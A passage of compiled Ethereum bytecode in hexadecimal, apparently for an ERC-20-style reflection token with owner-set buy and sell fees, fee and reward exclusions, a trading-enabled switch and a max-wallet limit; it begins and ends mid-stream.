fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000a52565b62000a9d868362000a52565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000aea62000ae462000ade8462000ab5565b62000abf565b62000ab5565b9050919050565b6000819050919050565b62000b068362000ac9565b62000b1e62000b158262000af1565b84845462000a5f565b825550505050565b600090565b62000b3562000b26565b62000b4281848462000afb565b505050565b5b8181101562000b6a5762000b5e60008262000b2b565b60018101905062000b48565b5050565b601f82111562000bb95762000b838162000a2d565b62000b8e8462000a42565b8101602085101562000b9e578190505b62000bb662000bad8562000a42565b83018262000b47565b50505b505050565b600082821c905092915050565b600062000bde6000198460080262000bbe565b1980831691505092915050565b600062000bf9838362000bcb565b9150826002028217905092915050565b62000c14826200098f565b67ffffffffffffffff81111562000c305762000c2f6200099a565b5b62000c3c8254620009f8565b62000c4982828562000b6e565b600060209050601f83116001811462000c81576000841562000c6c578287015190505b62000c78858262000beb565b86555062000ce8565b601f19841662000c918662000a2d565b60005b8281101562000cbb5784890151825560018201915060208501945060208101905062000c94565b8683101562000cdb578489015162000cd7601f89168262000bcb565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000d7e5780860481111562000d565762000d5562000cf0565b5b600185161562000d665780820291505b808102905062000d768562000d1f565b945062000d36565b94509492505050565b60008262000d99576001905062000e6c565b8162000da9576000905062000e6c565b816001811462000dc2576002811462000dcd5762000e03565b600191505062000e6c565b60ff84111562000de25762000de162000cf0565b5b8360020a91508482111562000dfc5762000dfb62000cf0565b5b5062000e6c565b5060208310610133831016604e8410600b841016171562000e3d5782820a90508381111562000e375762000e3662000cf0565b5b62000e6c565b62000e4c848484600162000d2c565b9250905081840481111562000e665762000e6562000cf0565b5b81810290505b9392505050565b600062000e808262000ab5565b915062000e8d8362000ab5565b925062000ebc7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000d87565b905092915050565b600062000ed18262000ab5565b915062000ede8362000ab5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000f1a5762000f1962000cf0565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000f618262000ab5565b915062000f6e8362000ab5565b92508262000f815762000f8062000f25565b5b828206905092915050565b600062000f998262000ab5565b915062000fa68362000ab5565b925082820390508181111562000fc15762000fc062000cf0565b5b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000ff98262000fcc565b9050919050565b6200100b8162000fec565b81146200101757600080fd5b50565b6000815190506200102b8162001000565b92915050565b6000602082840312156200104a576200104962000fc7565b5b60006200105a848285016200101a565b91505092915050565b6200106e8162000fec565b82525050565b60006040820190506200108b600083018562001063565b6200109a602083018462001063565b9392505050565b620010ac8162000ab5565b82525050565b6000602082019050620010c96000830184620010a1565b92915050565b614b7a80620010df6000396000f3fe608060405234801561001057600080fd5b50600436106102325760003560e01c80634ada218b116101305780638da5cb5b116100b8578063be19674b1161007c578063be19674b146106a5578063c0b0fda2146106c1578063dd62ed3e146106df578063ea2f0b371461070f578063f2fde38b1461072b57610232565b80638da5cb5b146105eb57806395d89b4114610609578063a457c2d714610627578063a9059cbb14610657578063bbde77c11461068757610232565b80636dd3d39f116100ff5780636dd3d39f1461054757806370a0823114610577578063715018a6146105a757806388f82020146105b15780638a8c523c146105e157610232565b80634ada218b146104c15780634cb80fd5146104df57806352390c02146104fb5780635342acb41461051757610232565b8063313ce567116101be5780634144d9e4116101825780634144d9e41461041d578063437823ec1461043b5780634549b0391461045757806348eb61b61461048757806349bd5a5e146104a357610232565b8063313ce567146103795780633685d4191461039757806339509351146103b35780633b124fe7146103e35780633bd5d1731461040157610232565b80631694505e116102055780631694505e146102bf57806318160ddd146102dd57806322976e0d146102fb57806323b872dd146103195780632d8381191461034957610232565b806306fdde0314610237578063095ea7b31461025557806313114a9d14610285578063151cd1c2146102a3575b600080fd5b61023f610747565b60405161024c9190613d77565b60405180910390f35b61026f600480360381019061026a9190613e32565b6107d9565b60405161027c9190613e8d565b60405180910390f35b61028d6107f7565b60405161029a9190613eb7565b60405180910390f35b6102bd60048036038101906102b89190613ed2565b610801565b005b6102c76108b2565b6040516102d49190613f84565b60405180910390f35b6102e56108d8565b6040516102f29190613eb7565b60405180910390f35b6103036108e2565b6040516103109190613eb7565b60405180910390f35b610333600480360381019061032e9190613f9f565b6108e8565b6040516103409190613e8d565b60405180910390f35b610363600480360381019061035e9190613ff2565b6109c1565b6040516103709190613eb7565b60405180910390f35b610381610a2f565b60405161038e9190613eb7565b60405180910390f35b6103b160048036038101906103ac919061401f565b610a39565b005b6103cd60048036038101906103c89190613e32565b610d6e565b6040516103da9190613e8d565b60405180910390f35b6103eb610e21565b6040516103f89190613eb7565b60405180910390f35b61041b60048036038101906104169190613ff2565b610e27565b005b610425610fa3565b604051610432919061405b565b60405180910390f35b6104556004803603810190610450919061401f565b610fc9565b005b610471600480360381019061046c91906140a2565b6110a0565b60405161047e9190613eb7565b60405180910390f35b6104a1600480360381019061049c91906140e2565b611126565b005b6104ab6111fd565b6040516104b8919061405b565b60405180910390f35b6104c9611223565b6040516104d69190613e8d565b60405180910390f35b6104f960048036038101906104f4919061401f565b611236565b005b6105156004803603810190610510919061401f565b6112f6565b005b610531600480360381019061052c919061401f565b611591565b60405161053e9190613e8d565b60405180910390f35b610561600480360381019061055c919061401f565b6115e7565b60405161056e9190613e8d565b60405180910390f35b610591600480360381019061058c919061401f565b61163d565b60405161059e9190613eb7565b60405180910390f35b6105af611728565b005b6105cb60048036038101906105c6919061401f565b611862565b6040516105d89190613e8d565b60405180910390f35b6105e96118b8565b005b6105f3611951565b604051610600919061405b565b60405180910390f35b61061161197a565b60405161061e9190613d77565b60405180910390f35b610641600480360381019061063c9190613e32565b611a0c565b60405161064e9190613e8d565b60405180910390f35b610671600480360381019061066c9190613e32565b611ad9565b60405161067e9190613e8d565b60405180910390f35b61068f611af7565b60405161069c9190613eb7565b60405180910390f35b6106bf60048036038101906106ba9190613ed2565b611afd565b005b6106c9611bae565b6040516106d69190613eb7565b60405180910390f35b6106f960048036038101906106f49190614122565b611bb4565b6040516107069190613eb7565b60405180910390f35b6107296004803603810190610724919061401f565b611c3b565b005b6107456004803603810190610740919061401f565b611d12565b005b6060600d805461075690614191565b80601f016020809104026020016040519081016040528092919081815260200182805461078290614191565b80156107cf5780601f106107a4576101008083540402835291602001916107cf565b820191906000526020600020905b8154815290600101906020018083116107b257829003601f168201915b5050505050905090565b60006107ed6107e6611eba565b8484611ec2565b6001905092915050565b6000600c54905090565b610809611eba565b73ffffffffffffffffffffffffffffffffffffffff16610827611951565b73ffffffffffffffffffffffffffffffffffffffff161461087d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108749061420e565b60405180910390fd5b826013819055506013546016819055508160148190555060145460178190555080601581905550601554601881905550505050565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a54905090565b60175481565b60006108f584848461208b565b6109b684610901611eba565b6109b185604051806060016040528060288152602001614af860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610967611eba565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125d89092919063ffffffff16565b611ec2565b600190509392505050565b6000600b54821115610a08576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ff906142a0565b60405180910390fd5b6000610a1261262d565b9050610a27818461265890919063ffffffff16565b915050919050565b6000600f54905090565b610a41611eba565b73ffffffffffffffffffffffffffffffffffffffff16610a5f611951565b73ffffffffffffffffffffffffffffffffffffffff1614610ab5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aac9061420e565b60405180910390fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610b41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b389061430c565b60405180910390fd5b60005b600880549050811015610d6a578173ffffffffffffffffffffffffffffffffffffffff1660088281548110610b7c57610b7b61432c565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603610d575760086001600880549050610bd6919061438a565b81548110610be757610be661432c565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660088281548110610c2657610c2561432c565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506008805480610d1d57610d1c6143be565b5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055610d6a565b8080610d62906143ed565b915050610b44565b5050565b6000610e17610d7b611eba565b84610e128560046000610d8c611eba565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266e90919063ffffffff16565b611ec2565b6001905092915050565b60165481565b6000610e31611eba565b9050600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610ec0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb7906144a7565b60405180910390fd5b6000610ecb83612684565b5050505050509050610f2581600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ec90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f7d81600b546126ec90919063ffffffff16565b600b81905550610f9883600c5461266e90919063ffffffff16565b600c81905550505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610fd1611eba565b73ffffffffffffffffffffffffffffffffffffffff16610fef611951565b73ffffffffffffffffffffffffffffffffffffffff1614611045576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103c9061420e565b60405180910390fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600a548311156110e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110de90614513565b60405180910390fd5b816111085760006110f784612684565b505050505050905080915050611120565b600061111384612684565b5050505050915050809150505b92915050565b61112e611eba565b73ffffffffffffffffffffffffffffffffffffffff1661114c611951565b73ffffffffffffffffffffffffffffffffffffffff16146111a2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111999061420e565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601f60009054906101000a900460ff1681565b61123e611eba565b73ffffffffffffffffffffffffffffffffffffffff1661125c611951565b73ffffffffffffffffffffffffffffffffffffffff16146112b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a99061420e565b60405180910390fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6112fe611eba565b73ffffffffffffffffffffffffffffffffffffffff1661131c611951565b73ffffffffffffffffffffffffffffffffffffffff1614611372576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113699061420e565b60405180910390fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156113ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f69061457f565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156114d35761148f600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109c1565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506008819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116d857600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611723565b611720600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109c1565b90505b919050565b611730611eba565b73ffffffffffffffffffffffffffffffffffffffff1661174e611951565b73ffffffffffffffffffffffffffffffffffffffff16146117a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179b9061420e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6118c0611eba565b73ffffffffffffffffffffffffffffffffffffffff166118de611951565b73ffffffffffffffffffffffffffffffffffffffff1614611934576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192b9061420e565b60405180910390fd5b6001601f60006101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600e805461198990614191565b80601f01602080910402602001604051908101604052809291908181526020018280546119b590614191565b8015611a025780601f106119d757610100808354040283529160200191611a02565b820191906000526020600020905b8154815290600101906020018083116119e557829003601f168201915b5050505050905090565b6000611acf611a19611eba565b84611aca85604051806060016040528060258152602001614b206025913960046000611a43611eba565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125d89092919063ffffffff16565b611ec2565b6001905092915050565b6000611aed611ae6611eba565b848461208b565b6001905092915050565b601e5481565b611b05611eba565b73ffffffffffffffffffffffffffffffffffffffff16611b23611951565b73ffffffffffffffffffffffffffffffffffffffff1614611b79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b709061420e565b60405180910390fd5b826010819055506010546016819055508160118190555060115460178190555080601281905550601254601881905550505050565b60185481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611c43611eba565b73ffffffffffffffffffffffffffffffffffffffff16611c61611951565b73ffffffffffffffffffffffffffffffffffffffff1614611cb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cae9061420e565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611d1a611eba565b73ffffffffffffffffffffffffffffffffffffffff16611d38611951565b73ffffffffffffffffffffffffffffffffffffffff1614611d8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d859061420e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611dfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df490614611565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f28906146a3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611fa0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9790614735565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161207e9190613eb7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036120fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f1906147c7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612169576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216090614859565b60405180910390fd5b600081116121ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121a3906148eb565b60405180910390fd5b6121b4611951565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156121fc5750601f60009054906101000a900460ff16155b1561225157601f60009054906101000a900460ff16612250576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224790614957565b60405180910390fd5b5b612259611951565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156122c057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156122fa575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156123545750601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561240c5760006123648361163d565b9050600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806123cb5750601e5482826123c89190614977565b11155b61240a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240190614a1d565b60405180910390fd5b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806124b35750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156124c157600090506125c6565b601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603612536576010546016819055506011546017819055506012546018819055506125c5565b601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036125ab576013546016819055506014546017819055506015546018819055506125c4565b6000601681905550600060178190555060006018819055505b5b5b6125d284848484612702565b50505050565b6000838311158290612620576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126179190613d77565b60405180910390fd5b5082840390509392505050565b600080600061263a612a13565b91509150612651818361265890919063ffffffff16565b9250505090565b600081836126669190614a6c565b905092915050565b6000818361267c9190614977565b905092915050565b600080600080600080600080600080600061269e8c612cc6565b935093509350935060008060006126bf8f8787876126ba61262d565b612d45565b925092509250828282898989899d509d509d509d509d509d509d5050505050505050919395979092949650565b600081836126fa919061438a565b905092915050565b806127105761270f612df9565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156127b35750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156127c8576127c3848484612e2e565b6129ff565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561286b5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156128805761287b84848461309c565b6129fe565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156129245750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129395761293484848461330a565b6129fd565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129db5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156129f0576129eb8484846134e3565b6129fc565b6129fb84848461330a565b5b5b5b5b80612a0d57612a0c6137e6565b5b50505050565b6000806000600b5490506000600a54905060005b600880549050811015612c8957826002600060088481548110612a4d57612a4c61432c565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180612b3b5750816003600060088481548110612ad357612ad261432c565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15612b5257600b54600a5494509450505050612cc2565b612be26002600060088481548110612b6d57612b6c61432c565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846126ec90919063ffffffff16565b9250612c746003600060088481548110612bff57612bfe61432c565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836126ec90919063ffffffff16565b91508080612c81906143ed565b915050612a27565b50612ca1600a54600b5461265890919063ffffffff16565b821015612cb957600b54600a54935093505050612cc2565b81819350935050505b9091565b6000806000806000612cd786613803565b90506000612ce487613835565b90506000612cf188613867565b90506000612d2c82612d1e85612d10888e6126ec90919063ffffffff16565b6126ec90919063ffffffff16565b6126ec90919063ffffffff16565b9050808484849750975097509750505050509193509193565b600080600080612d5e858a61389990919063ffffffff16565b90506000612d75868a61389990919063ffffffff16565b90506000612d8c878a61389990919063ffffffff16565b90506000612da3888a61389990919063ffffffff16565b90506000612dde82612dd085612dc2888a6126ec90919063ffffffff16565b6126ec90919063ffffffff16565b6126ec90919063ffffffff16565b90508481859750975097505050505050955095509592505050565b601654601981905550601754601a81905550601854601b81905550600060168190555060006017819055506000601881905550565b6000806000806000806000612e4288612684565b9650965096509650965096509650612ea288600360008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ec90919063ffffffff16565b600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f3787600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ec90919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fcc86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613018826138af565b61302181613a5e565b61302b8584613cad565b8873ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516130889190613eb7565b60405180910390a350505050505050505050565b60008060008060008060006130b088612684565b965096509650965096509650965061311087600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ec90919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131a584600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266e90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061323a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613286826138af565b61328f81613a5e565b6132998584613cad565b8873ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516132f69190613eb7565b60405180910390a350505050505050505050565b600080600080600080600061331e88612684565b965096509650965096509650965061337e87600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ec90919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061341386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061345f826138af565b61346881613a5e565b6134728584613cad565b8873ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516134cf9190613eb7565b60405180910390a350505050505050505050565b60008060008060008060006134f788612684565b965096509650965096509650965061355788600360008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ec90919063ffffffff16565b600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506135ec87600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ec90919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061368184600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266e90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061371686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613762826138af565b61376b81613a5e565b6137758584613cad565b8873ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516137d29190613eb7565b60405180910390a350505050505050505050565b601954601681905550601a54601781905550601b54601881905550565b600061382e6127106138206016548561389990919063ffffffff16565b61265890919063ffffffff16565b9050919050565b60006138606127106138526018548561389990919063ffffffff16565b61265890919063ffffffff16565b9050919050565b60006138926127106138846017548561389990919063ffffffff16565b61265890919063ffffffff16565b9050919050565b600081836138a79190614a9d565b905092915050565b60006138b961262d565b905060006138d0828461389990919063ffffffff16565b9050613926816002600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266e90919063ffffffff16565b6002600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506006600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613a5957613a13836003600